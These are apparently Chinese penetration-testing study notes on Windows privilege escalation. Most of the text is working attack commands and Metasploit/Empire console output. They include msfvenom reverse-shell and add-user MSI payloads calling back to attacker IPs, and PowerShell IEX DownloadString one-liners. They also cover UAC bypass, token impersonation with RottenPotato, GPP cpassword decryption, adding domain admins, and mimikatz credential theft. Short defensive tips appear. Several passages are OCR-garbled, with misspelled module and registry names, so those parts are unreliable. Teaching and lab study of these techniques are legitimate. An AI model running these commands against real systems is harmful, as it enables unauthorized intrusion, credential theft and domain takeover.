查询系统信息systeminfo
如果要查看特定的信息,可以使用systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
主机名Hostname
环境变量Set
查看用户信息Net user
查看服务pid号
Tasklist /svc|find "TermService"
netstat -ano|find "3389"
查看系统名wmic os get caption
查看补丁信息wmic qfe get Description,HotFixID,InstalledOn
如果要定位到特定的补丁可以使用如下命令wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"
查看当前安装程序wmic product get name,version
在 Windows中,权限大概分为四种、分别是User、Administrator、System、TrustedInstaller。在这四种权限中,我们经常接触的是前三种。第四种权限 TrustedInstaller,在常规使用中通常不会涉及。
User:普通用户权限,是系统中最安全的权限(因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)。
Administrator:管理员权限。可以利用Windows 的机制将自己提升为Svstem权限,以便操作SAM文件等。
System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行Dump操作。
TrustedInstaller:Windows中的最高权限。对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才可以修改系统文件。
低权限级别将使渗透测试受到很多限制。在Windows中,如果没有管理员权限,就无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等操作。Windows操作系统中管理员账号的权限,以及 Linux操作系统中root账户的权限,是操作系统的最高权限。提升权限(也称提权)的方式分为以下两类。
纵向提权:低权限角色获得高权限角色的权限。例如,一个 WebShell权限通过提权,拥有了管理员权限,这种提权就是纵向提权,也称作权限升级。
横向提权:获取同级别角色的权限。例如,在系统A中获取了系统B的权限,这种提权就属于横向提权。
常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web 中间件漏洞提权、DLL 劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。
获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁:
systeminfo
或
wmic qfe get caption,description,hotfixid,installedon
可以看到系统就装了这几个补丁。攻击者会通过没有列出的补丁号,寻找相应的提权EXP,例如KiTrap0D和KB979682对应、MS10-021和KB979683对应等等。然后使用目标机上没有的安装的补丁号对应的EXP进行提权。Windows不同系统提权的漏洞和相应的补丁请见:https://github.com/SecWiki/windows-kernel-exploits#%E6%BC%8F%E6%B4%9E%E5%88%97%E8%A1%A8
下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester
该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而且其只需要我们给出目标系统的信息即可。
使用如下:
首先更新漏洞数据库,会生成一个xls的文件,如下 2020-08-20-mssb.xls
python windows-exploit-suggester.py --update
然后执行如下命令,查看目标主机系统信息,保存为sysinfo.txt文件:
systeminfo > sysinfo.txt
最后,运行如下命令,查看该系统是否存在可利用的提权漏洞:
python windows-exploit-suggester.py -d 2021-04-19-mssb.xls -i sysinfo.txt
如上图,执行后,给出了一堆目标系统存在的漏洞
Metasploit内置模块提供了各种可用于提权的local exploits,并会基于架构,平台(即运行的操作系统),会话类型和所需默认选项提供建议。这极大的节省了我们的时间,省去了我们手动搜索local exploits的麻烦。
使用如下,假设我们已经获得了目标主机的一个session:
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.27.7.10 lport=4444 -f exe -o /tmp/hack.exe
use post/multi/recon/local_exploit_suggester
set session 1
exploit
如上图,该模块快速识别并列出了系统中可能被利用的漏洞,十分方便。但虽然如此,也并非所有列出的local exploits都可用。
会用metasploit中的post/windows/gather/enum_patches模块可以根据漏洞编号快速找出系统中缺少的补丁。使用如下:
use post/windows/gather/enum_patches
set session 1
exploit
在实际的查找潜在漏洞的过程中,建议手动和自动双管齐下。
下载地址:https://github.com/rasta-mouse/Sherlock
该脚本可以快速的查找出可能用于本地权限提升的漏洞。使用如下:
powershell下
Import-Module .\Sherlock.ps1 本地执行
Find-AllVulns // 调用脚本后,执行搜索命令,出现Appears Vulnerable就是存在漏洞
Windows 下的提权大合集:https://github.com/lyshark/Windows-exploits
Windows内核溢出漏洞提权大全:https://github.com/SecWiki/windows-kernel-exploits
各大平台提权工具:https://github.com/klsfct/getshell
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1
在渗透测试中可以执行以下两条命令
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks" (需要改hosts文件才能访问)
PS C:\Users\q\Desktop> powershell.exe -exec bypass "IEX (New-Object Net.WebClient).DownloadString('C:\Users\admin\Desktop\PowerUp.ps1');Invoke-AllChecks" #将powerup上传至目标服务器,执行此命令
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}" #在cmd执行以下命令加载脚本,并执行Invoke-AllChecks 模块进行测试
PS C:\Users\q\Desktop> powershell.exe -exec bypass "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Install-ServiceBinary -ServiceName 'MozillaMaintenance' -UserName firefox -Password 123"
在Metasploit应用模块是service_permissions。选择“AGGRESSIVE”选项,可以利用目标机每一个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后就会停止工作
service_permissions模块使用两种方法来获得System权限:如果meterpreter 以管理员权限运行,该模块会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。
利用kali生成一个木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.27.7.10 lport=1234 -f exe >/root/420.exe
root@kali:~# python -m SimpleHTTPServer 800 开启一个临时的HTTP服务用来传文件。浏览器输入地址端口号
将生成的木马发送到目标计算机中,在kaliMSF中开启监听
msf5 > search handler
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 172.27.7.10
msf5 exploit(multi/handler) > set lport 1234 端口为生成木马的端口
msf5 exploit(multi/handler) > exploit
运行完之后开始监听,等待受害主机点击木马程序
msf5 > use exploit/windows/local/service_permissions
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/service_permissions) > show options
msf5 exploit(windows/local/service_permissions) > set lport 1234
lport => 1234
msf5 exploit(windows/local/service_permissions) > set SESSION 2
SESSION => 3
msf5 exploit(windows/local/service_permissions) > exploit #执行后会自动反弹一个新的meterpreter(system)权限
提权成功
附Metasploit中的service_permissions模块
该漏洞提权在metasploit上面对应的模块为exploit/windows/local/service_permissions:
如上图,该模块有两个可以设置的选项,其中如果把AGGRESSIVE选项设为“true”,则可以利用目标机器上每一个有该漏洞的服务,设为“false”则在第一次提权成功后就会停止工作。演示如下:
(别忘了迁移进程哦~~)
注册表键AlwaylanalElvated是一个策略设置项。Windows 允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件。
该漏洞产生的原因是用户开启了Windows Installer特权安装功能
设置完毕,会在注册表 regedit
在“运行”设置柜中输入"gpedit.msc",打开组策略编辑器。
组装略——计算机配置——管理模板——Windows组件——Windows Insaller——永远以高特权进行安装:选择启用。
组策略——用户配置-——管理模板——Windows组件——Windows Intaller——永远以高特权进行安装:选择启用。
设置完毕,会在注册表的以下两个位置自动创建键值“1”。
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstall Elevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstall Elevated
注:无法通过secedit.exe在命令行下修改以上两个组策略。
命令行下的启用方法:
创建以下两个注册表项:
· HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer,AlwaysInstallElevated,1
· HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer,AlwaysInstallElevated,1
cmd(管理员权限)的命令如下:
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
Install是Windows 操作系统的组件之一, 专门用来管理和配置软件服务。Windows Installer 除了是一个安装程序,还用于管理软件的安装管理软件组件的添加和删除,监视文件的还原、通过回滚进行灾难恢复等。
Windowrs Installer分为客户端安装服务(Msiexec.exe)和MSI文件两部分。Windows Installer通过Msiexec.exe安装MSI文件包含的程序。MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装和卸载软件时需要的大量指令和数据。Msiexec.exe用于安装MSI文件,一般在运行Microsoft Update安装更新或者安装一些软件的时候使用,占用内存较多。简单来说,双击MSI文件就会运行Msiexec.exe。
可以使用PowerUp的Get-RsigtyswiylstnlElvatee模块来检查注册表键是否被设置。如果AlwaysInstallElevated注册表键已经被设置,就意味着MSI文件是以System 权限运行的。
C:> powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘c:/users/admin/desktop/PowerUp.ps1’);Get-RegistryAlwaysInstallElevated #运行该模块,True代表已经设置。
先在本机加载PowerUp.ps1脚本,查看AlwaysInstallElevated注册表是否被设置
命令:import-Module .\PowerUp.ps1
Get-RegistryAlwaysInstallElevated
现在我们假设AlwaysInstallElevated已经启用了
PS C:> Write-UserAddMSI #管理员权限运行
或者我们可以利用MSFVenom工具来生成一个在目标机器上增加管理员用户的MSI安装文件:
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o UserAdd.msi
当我们在目标机器上加载了新生成的MSI文件后,我们可以使用Windows命令行工具Msiexec 进行安装:
msiexec /quiet /qn /i C:\Users\admin\Downloads\UserAdd.msi
PS C:> msiexec /q /i UserAdd.msi #普通用户权限运行
/quiet 在安装过程中禁止向用户发送消息
/qn 不使用GUI
/i 安装程序
也可以利用Msf的use exploit/windows/local/always_install_elevated完成上述操作
待完成Get-RegistryAlwaysInstallElevated,Write-UserAddMSI,无这个命令,执行不了,上面网上的图仅供参考
可信任服务路径(包含空格且没有引号的路径)漏洞利用了Windows 文件路径解析的特性并涉及服务路径的文件/文件夹权限(存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。如果-个服 务调用的可执行 文件没有正确地处理所引用的完整路径名, 这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务 的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
该漏洞存在如下两种可能
如果路径与服务有关,就任意创建一个服务或者编译Sericce模板。
如果路径与可执行文件有关,就任意创建个可执行文件。
因为windows服务通常都是以System权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行。
例如,有一个文件路径"C:\Program Files\ Some Folder\Service.exe",对于该路径中的每一个空格,Windows 都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。
在本例中,Windows 会依次尝试确
C:\Program.exe
C:\Program Files\ Some.exe
C:\Program Files\ Some Folder\Service.exe
因此,如果一个被“适当”命名的可执行程序被上传到可受影响的目录中,服务一旦重启,该程序就会以Syten权限运行(在大多数情况下),
首先,检测目标机器中是否存在该漏洞。使用wmic查询命令,列出目标机器中所有没有被引号引起来的服务路径。
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
icacls "存在双引号的服务路径" #查看权限
Everyone: 用户对这个文件夹有完全控制权限。也就是说,所有用户都具有修改这个文件夹的权限。
(M):修改。
(F): 完全控制。
(CI): 从属容器将继承访问控制项。
(OI): 从属文件将继承访问控制项。
"Everyone:(ODCDXF)"的意思是,对该文件夹,用户有读、写、删除其下文件、删除其子目录的权限。
确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下,执行如下命令,尝试重启服务。
sc stop service name
sc start service name
也可以使用msf中的WINDOWS Service Trusted Path Privilege Escalation模块进行渗透测试。该模块会将可执行程序放到受影响的文件夹中,然后讲受影响的服务重启
msf6 > use exploit/windows/local/unquoted_service_path
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/unquoted_service_path) > set SESSION 5
SESSION => 5
msf6 exploit(windows/local/unquoted_service_path) > set LHOST 1.1.1.5
LHOST => 1.1.1.5
msf6 exploit(windows/local/unquoted_service_path) > run #命令执行后,反弹一个新的meterpreter,但是反弹的会很快终端,需迁移进程
在渗透测试中,需要在终止载荷进程之前将它迁移到其他进程中,可以使用“set AutoRunScript migrate -f"命令自动迁移进程
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会会用脚本批量部署的方法。这一过程中,会使用安装配置文件。这些文件包含所有的安装配置信息,其中的一些还可能包括本地管理员的账号和密码等消息。在进行渗透测试中,可以找到此类相关的文件进行分析
C:\sysprep.inf
C:\sysprep\sysprep.xml
也可以执行如下命令,搜索Unattend.xml文件
dir /b /s c:\Unattend.xml
Metasploit集成了该漏洞的利用模块post/windows/gather/enum_unattend
Metasploit Module: post/windows/gather/enum_unattend
这个模块比较简单。就是获取我们感兴趣目标的Meterpreter会话。
在查看过源码后我们发现,这个模块仅仅只是搜索Unattend.xml文件,然而会忽略其他像syspref.xml和syspref.inf这样的文件。简而言之,这个模块就是全盘搜索Unattend.xml文件以找到管理员账户密码。
msf6 > use post/windows/gather/enum_unattend
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 post(windows/gather/enum_unattend) > show options
Module options (post/windows/gather/enum_unattend):
Name Current Setting Required Description
---- --------------- -------- -----------
GETALL true yes Collect all unattend.xml that are found
SESSION yes The session to run this module on.
msf6 post(windows/gather/enum_unattend) > set SESSION 5
SESSION => 5
msf6 post(windows/gather/enum_unattend) > run
schtasks /query #查看计划任务
schtasks /query /fo LIST /v #查看计算机计划任务 视图模式详细信息
schtasks /query /v /fo csv #逗号分隔列表
报上面错误的话
查看cmd 编码
chcp
如使用 936中文GBK编码的话
schtasks.exe /query 会报错
错误: 无法加载列资源。
调整 936 为 437 美国编码 则可以运行,但是无法打印出非ascii字符。(非ascii字符都变?.问号"?")
调整方法
chcp 437
就好了啦
AccsChk是Syslnteraks 套件中的一个工具,由Mnk Rusnoih编写用于在Wndows中进行一些系统或程序的高级查询、管理和故障排除工作,基于杀毒软件的检测等,攻击者会尽量避免接触目标机器的磁盘。而AcsCce是微软官方提供的工具,一般不会引起杀毒软件的报警,所以经常会被攻击者利用。
执行如下命令,查看指定目录的权限配置情况。如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样,在计划任务下次执行时,就会以高权限来运行恶意程序。
下载链接http://technet.microsoft.com/ZH-cn/sysinternals/bb664922
accesschk.exe -dqv "C:\Microsoft" -accepteula
下面介绍几个常用的AccessChk命令。
我们可以使用accesschk来检查每个服务需要的权限:
我们可以看到每个用户拥有的权限。你可以使用accesschk.exe -ucqv来列出所有的服务
第一次运行Sysntemals工具包里的工具时,会弹出一个许可协议对话框。在这里,可以使用参数/accepteula自动接受许可协议,命令如下。
accesschk.exe /accepteula
列出某个驱动器下所有权限配置有缺陷的文件夹,命令如下。
accesschk.exe -uwdqsUsersc:\
accesschk.exe -uwdqg"AuthenticatedUsers"c:\
列出某个驱动器下所有权限配置有缺陷的文件,命令如下。
accesschk.exe -uwqsUsersc:\*.*
accesschk.exe -uwqs"AuthenticatedUsers"c:\*.*
git clone https://github.com/EmpireProject/Empire.git
进入Empire/setup目录安装./install.sh,install.sh脚本里面包含了很多远程下载包,安装过程比较缓慢。
cd Empire/setup/
sudo ./install.sh
安装到这就已经结束了,末尾让我们输入随机生成的服务协商密码,直接回车就行了。
cd Empire
./empire
缺模块
pip install xxx或者下载源码包安装
Empire内置了PowerUp的部分模块
usemodule privesc/powerup Tab #查看模块列表
usemodule privesc/powerup/allchecks
execute
AllChecks模块的应用对象如下
没有被引号引起来的服务的路径。
ACL配置错误的服务(攻击者通常通过“service_*”利用它)。
服务的可执行文件的权限设置不当(攻击者通常通过“service_exe_*”利用它)。
Unattend.xml 文件。
注册表键AlwaysInstallElevated。
如果有Autologon 凭证,都会留在注册表中。
加密的web.config字符串和应用程序池的密码。
%PATH%.DLL的劫持机会(攻击者通常通过 write_dllhijacker利用它).
SYSVOL是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个SYsVOL目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在C:Windows\SYSVOL\DOMAIN\Policicsl目录中。
在一般的域外现中,所月机宿都是脚本化批量部署的,数据量通常很大。为了方便地对所有的机器进仃探IP,的上符胡比工公使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员密码的安全性,这些组织的网络管理员修改本地管理员密码。尽管如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的。攻击者获得了一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码。
常见的组策略首选项(Group Policy Preferences,GPP)列举如下
映射驱动器(Drives.xml )。
创建本地用户。
数据源(DataSources.xml )
打印机配置(Printers.xml )
创建/更新服务((Services.xml )
计划任务(ScheduledTasks.xml )
1、前提:管理员通过组策略统一修改过密码
在域控上执行:开始——>运行——>输入gpmc.msc——>选择test.com——>右键组策略对象——>新建一个test组策略——>弹出一个组策略管理编辑器,然后计算机配置——>首选项——>控制面板设置—本地用户和组 右键本地用户和组——>新建——>本地用户
gpupdate #域中的机器从域控制器处获得组策略的更新信息
2.获取组策略的凭据
管理员在域中新建一个组策略后,操作系统公日动在 SYSVOL 共享目录中生成一个 XML文件,该文件中保存了该组策略更新后的出调。该密码使用 AES-256加密算法,安全性还是比较高的。但是,2012年微软在官方网站公布了密码的私钥,因此保存在XML文件中的密码的安全性大大降低。任何域用户和域信仕的用尸均可对该共享目标进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码开将解密,从而域控中所有使用该账户/密码的本地管理员计算机。在SYSVOL中搜索,可以找到包含cpassword 的 XML文件。
(1)手动查找cpassword
浏览SYSVOL文件夹,获取相关文件
type \\dc\sysvol\pentest.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
#cpassword采用AES-256加密,加密后用户名gpp为‘LdN1Ot2OIIjsc/e+nROCMw'
python gpprefdecrypt.py LdN1Ot2OIIjsc/e+nROCMw #解密
2.使用powershell获取cpassword
powersploit提供了Get-GPPPassword.ps1脚本,将脚本导入系统
PS: Get-GPPPassword
3.使用Metasploit查找cpassword
msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/credentials/gpp
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 post(windows/gather/credentials/gpp) > show options
msf6 post(windows/gather/credentials/gpp) > set SESSION 6
SESSION => 6
msf6 post(windows/gather/credentials/gpp) > run
4.使用Empire查找cpassword
usemodule privesc/gpp
info
execute
除了Groups.xml是几个组策略首选项文件中有可选的cpassword 属性,列举如下
Services\Scrvices.xml
scheduledTasks\ScheduledTasks.xml.
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
在用于管理组策略的计算机上安装KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏洞,使用的方法就是不再将密码保存在组策略首选项中。
此外,需要对 Everyone 访问权限进行设置,具体如下
设置共享文件夹SYSVOL的访问权限。
将包含组策略密码的XML文件从SYsVOL目录中删除
不要把密码放在所有域用户都有权访问的文件中
如果需要更改域中机器的本地管理员密码,建议使用LAPS
如果计算机的操作系统版本是Windows Vista或更高,在权限不够的情况下,访问系统磁盘的根目录(例如C:) Windows目录、Program Files目录,以及读、写系统登录数据库(Registry)的程序等操作,都需要经讨UAC (User Account Control,用户账户控制)的认证才能进行。
UAC是微软为提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免思意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设詈进行更改。在Windows Vista及更高版本的操作系统中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限,中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁的损害最小。
需要UAC的授权才能进行的操作列举如下
UAC有如下四种设置要求。
始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户。
仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地 Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户。
仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度。
从不提示:当用户为系统管理员时,所有程序都会以最高权限运行4.4.2 bypassuac模块
假设获取了目标机器的Meterpreter shell ,当前权限为普通用户权限,现在尝试系统的System权限。
首先,运行exploit/windows/local/bypassuac模块,获得一个新的meterpreter Shel。然后,执行“getsystem”命令。再次查看权限,发现已经绕过UAC,获得了Svstem权限。
在使用bypassuac模块提权时,当前用户必须在管理员组中,且UAC必须为默认设置。
当bypassuac模块运行时,会在目标机上创建多个文件,这些文件会被杀毒软件识别。但因为exploit/windows/local/bypassuac_injecton模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
meterpreter > background
[*] Backgrounding session 3...
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac
[*] Using configured payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/bypassuac) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/bypassuac) > set lport 2222
lport => 2222
msf5 exploit(windows/local/bypassuac) > set session 3
session => 3
msf5 exploit(windows/local/bypassuac) > exploit
meterpreter > getuid
Server username: WIN7\admin
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
使用exploit/windows/local/ask模块,创建一个可执行文件,目标机器上会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的meterpreter shell
要想使用该模块提权,当前用户必须在管理员组或者知道管理员的密码,对UAC的设置无要求,在使用RunAs模块时,需要使用EXE:Custom选项创建一个可执行文件(需进行免杀处理)
要想使用该模块提权,当前用户必须在管理员组或者知道管理员的密码,对UAC的设置无要求,在使用RunAs模块时,需要使用EXE:Custom选项创建一个可执行文件(需进行免杀处理)
meterpreter > background
[*] Backgrounding session 5...
msf5 exploit(multi/handler) > use exploit/windows/local/ask
[*] Using configured payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ask) > set lhost 172.27.7.10
lhost => 172.27.7.10
msf5 exploit(windows/local/ask) > set lport 2222
lport => 2222
msf5 exploit(windows/local/ask) > set session 5
session => 5
msf5 exploit(windows/local/ask) > exploit
meterpreter > background
[*] Backgrounding session 6...
msf5 exploit(windows/local/ask) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
3 meterpreter x86/windows WIN7\admin @ WIN7 172.27.7.10:2222 -> 172.27.7.141:49239 (172.27.7.141)
4 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN7 172.27.7.10:2222 -> 172.27.7.141:49240 (172.27.7.141)
5 meterpreter x86/windows WIN7\admin @ WIN7 172.27.7.10:2222 -> 172.27.7.141:49251 (172.27.7.141)
6 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN7 172.27.7.10:2222 -> 172.27.7.141:49276 (172.27.7.141)
msf5 exploit(windows/local/ask) > sessions -i 6
[*] Starting interaction with 6...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
PS C:\Users\q\Desktop> Import-Module .\Invoke-PsUACme.ps1
PS C:\Users\q\Desktop> Invoke-PsUACme -Verbose
PS C:\Users\q\Desktop> Invoke-PsUACme -method oobe -Verbose
PS C:\Windows\temp> Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e mypayload"
除此之外,可以使用-PayloadPath参数指定payload路径,使用-CustomDll64或-CustomDLL32参数,可以自定义DLL文件
1.bypassuac模块
usemodule privesc/bypassuac #设置监听参数
execute
2.bypassuac_wscript模块
usemodule privesc/bypassuac_wscript
set Listener lab
execute #带*的角色提权成功
在企业网络环境中,防止绕过UAC的最好的方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动。使用本地管理员权限登录的用户,要将UAC设置为“始终通知”或者删除该用户的本地管理员权限(这样设置后,会像在 Windows Vista中一样,总是弹出警告)。另外,可以使用微软的EMET 或MalwareBytes来更好地防范0day漏洞。
令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。这些令牌将持续存在干系统中(除非系统重新启动)。令牌的最大特点是随机性和不可预测性。一般的攻击者或软件都无法将令牌猜测出来。访问令牌(Access Token )代表访问挖制损作主休的系统对象。密保令牌(Security Token )也叫作认证令牌或者硬件令牌,是一种用干实现计管机身份校验的物理设备,例如U盾。会话令牌(SessionToken)是交互会话中唯一的身份标识符。伪造令牌攻击的核心是Kerheros协议, Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提做强大的认证服务。Kerberos协议的工作机制如下图所示
客户端请求证书的过程如下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KwmcPWHF-1667199769218)(%E7%AC%AC%E5%9B%9B%E7%AB%A0%20%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E5%88%86%E6%9E%90%E5%8F%8A%E9%98%B2%E5%BE%A1.assets/20201224150952387.png)]
客户端向认证服务器发送请求,要求得到证书。
认证服务器收到请求后,将包含客户端密钥的加密证书发送给客户端。该证书包含服务器Ticket(包含由服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥,Session Key)。当然,认证服务器也会向服务器发送一份该证书,使服务器能够验证登录的客户端的身份。
客户端将Ticket传送给服务器。如果服务器确认该客户端的身份,就允许它登录服务器。
客户端登录服务器后,攻击者就能通过入侵服务器来窃取客户端的令牌。
假设已经获得了目标机器的 meterpreter Shell。首先输入“use incognito”命令,然后输人“list_tokens -u”命令,列出可用的令牌
meterpreter > use incognito
meterpreter > list_tokens -u
这里有两种类型的令牌:一种是Delegation Tokens,也就是授权令牌,它支持交互式登录(例如,可以通过远程桌面登录及访问);另一种是Impersonation Tokens,也就是模拟令牌,它支持非交互式的会话。令牌的数量其实取决于meterprcter shell的访问级别,假设已经获得了一个系统管理员的授权令牌,如果攻击者可以伪造这个令牌,便可以拥有它的权限。
#在incognito中调用impersonate_token,假冒用户admin进行测试,WIN7是机器名,admin为用户名,中间需要\隔
meterpreter > impersonate_token WIN7\\q
git clone https://github.com/foxglovesec/RottenPotato.git
下载完成后,/root/RottenPotato/rottenpotato.exe,RottenPotato目录下会有一个rottenpotato.exe可执行文件,地址是
如果目标系统中存在有效的令牌,可以通过Rotten Potato程序快速模拟用户令牌来实现权限的提升。
首先输入“use incognito”命令,然后输入“list_tokens -u”命令
meterpreter > upload /root/RottenPotato/rottenpotato.exe 将 rottenpotatocxe上传列日标机器,比如windows 7中
meterpreter > use incognito 进入incognito模块
meterpreter > list_tokens -u 列出可用的令牌
meterpreter > execute -HC -f rottenpotato.exe 执行上传的程序
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM" 伪造令牌SYSTEM
在meterpreter会话中使用ps命令查找域管理进程,并使用migrate命令迁移到该进程,进入shell
net user sec 123456Bo /ad /domain #添加域用户
net group "domain admins" sec /ad /domain #添加到域管理员组
net group "domain admins" /domain #查看域管理员组
同样在meterpreter中可以使用incognito来模拟域管理员,然后通过迭代系统中所有可用的身份验证令牌来太添加域管理员
add_user sec 12345Bo -h 1.1.1.8
net group "domain admins" sec -h 1.1.1.8
(Empire: listeners) > uselistener http
(Empire: listeners/http) > info
(Empire: listeners/http) > set Host http://1.1.1.6
(Empire: listeners/http) > set Port 8888
(Empire: listeners/http) > set Name sec
(Empire: listeners/http) > execute
(Empire: listeners) > launcher powershell sec
(Empire: agents) > interact N78Z9653
(Empire: N78Z9653) > mimikatz
(Empire: N78Z9653) > creds
(Empire: N78Z9653) > pth 2
(Empire: N78Z9653) > revtoself #恢复令牌权限
及时安装微软推送的补丁。
对来路不明的或者有危险的软件,既不要在系统中使用,也不要在虚拟机中使用。
对令牌的时效性进行限制,以防止散列值被破解后泄露有效的令牌信息。越敏感的数据,其令牌时效应该越短。如果每个操作都使用独立的令牌,就可以比较容易地定位泄露令牌的操作或环节。
对于令牌,应采取加密存储及多重验证保护。
使用加密链路SSL/TLS传输令牌,以防止被中间人窃听。
在本节的实验中,假设已经进入目标网络,但没有获得任何凭证,使用LLMNR 和NetBIOS欺骗攻击对目标网络进行渗透测试。
